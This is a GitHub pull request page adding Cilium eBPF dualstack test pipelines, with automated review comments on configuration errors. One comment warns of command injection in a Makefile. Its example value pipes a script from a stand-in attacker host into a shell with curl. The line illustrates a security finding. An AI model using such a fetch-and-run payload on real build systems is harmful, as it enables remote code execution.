Skip to content

Conversation

@santhoshmprabhu
Copy link
Contributor

Reason for Change:
This PR adds tests for dualstack clusters with eBPF host routing enabled. Key changes:

  1. Add Cilium configuration to enable eBPF host routing, while setting native routing CIDRs to the correct ipv4 and ipv6 CIDRs
  2. Create the cluster with matching ipv4 and ipv6 CIDRs for pods
  3. Perform the same tests as Cilium dualstack clusters today.

Issue Fixed:

Requirements:

Notes:

Copilot AI review requested due to automatic review settings December 2, 2025 19:53
@santhoshmprabhu santhoshmprabhu requested a review from a team as a code owner December 2, 2025 19:53
@santhoshmprabhu santhoshmprabhu self-assigned this Dec 2, 2025
@santhoshmprabhu santhoshmprabhu added ci Infra or tooling. cilium Related to Cilium. labels Dec 2, 2025
@santhoshmprabhu santhoshmprabhu marked this pull request as draft December 2, 2025 19:53
Copilot finished reviewing on behalf of santhoshmprabhu December 2, 2025 19:57
Copy link
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds comprehensive end-to-end pipeline tests for Cilium eBPF with host routing enabled on dualstack AKS clusters. The implementation mirrors the existing Cilium dualstack overlay tests while introducing eBPF-specific configurations and deployment workflows.

Key Changes:

  • New Cilium eBPF dualstack configuration with native routing mode and proper CIDR settings for both IPv4 and IPv6
  • Pipeline integration with new cluster creation, deployment, and E2E test stages for the cilium_ebpf_ds_e2e test suite
  • Container specification fixes to explicitly target the cilium-agent container in multi-container Cilium pods

Reviewed changes

Copilot reviewed 12 out of 12 changed files in this pull request and generated 6 comments.

Show a summary per file
File Description
test/integration/manifests/cilium/v1.17/ebpf/dualstack/static/cilium-config.yaml New Cilium ConfigMap for eBPF dualstack with native routing mode and routing CIDRs
test/integration/manifests/cilium/v1.17/ebpf/dualstack/static/azure-ip-masq-agent-config-reconciled.yaml IP masquerade agent configuration for non-masquerade CIDRs
test/integration/manifests/cilium/v1.17/ebpf/dualstack/cilium.yaml Complete Cilium DaemonSet definition with eBPF configurations, init containers, and volume mounts
hack/aks/deploy.mk Added deploy-ebpf-dualstack-cilium target with required variable exports and envsubst template processing
hack/aks/Makefile Made POD_CIDR overridable and added POD_CIDRS support for dualstack cluster creation
.pipelines/pipeline.yaml Integrated new cilium_ebpf_ds_e2e test suite into the pipeline with proper dependencies and cleanup
.pipelines/singletenancy/cilium-dualstack-ebpf/cilium-dualstack-e2e-job-template.yaml Job template defining cluster creation and E2E test stages with required environment variables
.pipelines/singletenancy/cilium-dualstack-ebpf/cilium-dualstack-e2e-step-template.yaml Step template with complete test workflow including Cilium installation, connectivity tests, and validation
.pipelines/templates/create-cluster.yaml Added POD_CIDRS export for dualstack cluster configuration
.pipelines/templates/log.steps.yaml Added container name specification for Cilium kubectl exec commands
.pipelines/templates/log-template.yaml Added container name specification for Cilium kubectl exec commands
test/validate/linux_validate.go Added containerName field to cilium state file validation check

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

echo "Install az cli extension preview"
az extension add --name aks-preview
az extension update --name aks-preview
export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::105/64"
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The IPv6 pod CIDR fdd5:a27a:b4bc:99d6::105/64 is incorrect. The ::105 suffix represents a specific host address, not a network. For a pod CIDR, this should be: fdd5:a27a:b4bc:99d6::/64. This must match the corrected value in cilium-config.yaml.

Suggested change
export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::105/64"
export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::/64"

Copilot uses AI. Check for mistakes.
export AZURE_IPTABLES_MONITOR_TAG
export AZURE_IP_MASQ_MERGER_IMAGE_REGISTRY
export AZURE_IP_MASQ_MERGER_TAG
export IPV6_HP_BPF_VERSION
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variable IPV6_HP_BPF_VERSION is exported twice (lines 11 and 17). Remove the duplicate export on line 17.

Suggested change
export IPV6_HP_BPF_VERSION

Copilot uses AI. Check for mistakes.
# set cilium version tag and registry here so they are visible as env vars to envsubst
CILIUM_VERSION_TAG=$(EBPF_CILIUM_VERSION_TAG) CILIUM_IMAGE_REGISTRY=$(EBPF_CILIUM_IMAGE_REGISTRY) \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION}' < \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV}' < \
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variable $${IPV} in the envsubst command is undefined and will not be substituted. This appears to be an incomplete variable name. If this is intended to be IPV6_IMAGE_REGISTRY, it should be added to the envsubst list. Otherwise, this variable reference should be removed from the envsubst command.

Suggested change
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV}' < \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION}' < \

Copilot uses AI. Check for mistakes.
ip-masq-agent-reconciled: |
masqLinkLocal: true
nonMasqueradeCIDRs:
- 10.244.0.0/16
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For a dualstack configuration, the nonMasqueradeCIDRs list should include both IPv4 and IPv6 pod CIDRs. Currently only the IPv4 CIDR (10.244.0.0/16) is listed. Add the IPv6 CIDR (e.g., - fdd5:a27a:b4bc:99d6::/64) to prevent masquerading IPv6 pod-to-pod traffic.

Suggested change
- 10.244.0.0/16
- 10.244.0.0/16
- fdd5:a27a:b4bc:99d6::/64

Copilot uses AI. Check for mistakes.
ipam-cilium-node-update-rate: 15s
ipam: delegated-plugin
ipv4-native-routing-cidr: 10.244.0.0/16
ipv6-native-routing-cidr: fdd5:a27a:b4bc:99d6::105/64
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The IPv6 CIDR fdd5:a27a:b4bc:99d6::105/64 is incorrect. The ::105 suffix represents a host address within the network, not the network itself. For a native routing CIDR, this should be the network address: fdd5:a27a:b4bc:99d6::/64 (without the ::105 host part). This needs to match the pod CIDR network range, not a specific host within it.

Suggested change
ipv6-native-routing-cidr: fdd5:a27a:b4bc:99d6::105/64
ipv6-native-routing-cidr: fdd5:a27a:b4bc:99d6::/64

Copilot uses AI. Check for mistakes.
--network-plugin-mode overlay \
--subscription $(SUB) \
--ip-families ipv4,ipv6 \
--pod-cidrs "$(POD_CIDRS)" \
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The use of "$(POD_CIDRS)" in a shell-executed Makefile recipe allows command substitution (e.g., $(...) or backticks) to be executed even inside double quotes, enabling command injection if POD_CIDRS is attacker-controlled. An attacker could set POD_CIDRS="$(curl https://attacker/evil.sh | sh)" to execute arbitrary commands during aks create. Fix by using single quotes around the variable and validating its format, e.g., --pod-cidrs '$${POD_CIDRS}', and enforce a strict CIDR pattern before use (or sanitize to allow only valid IPv4/IPv6 CIDRs).

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ci Infra or tooling. cilium Related to Cilium.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants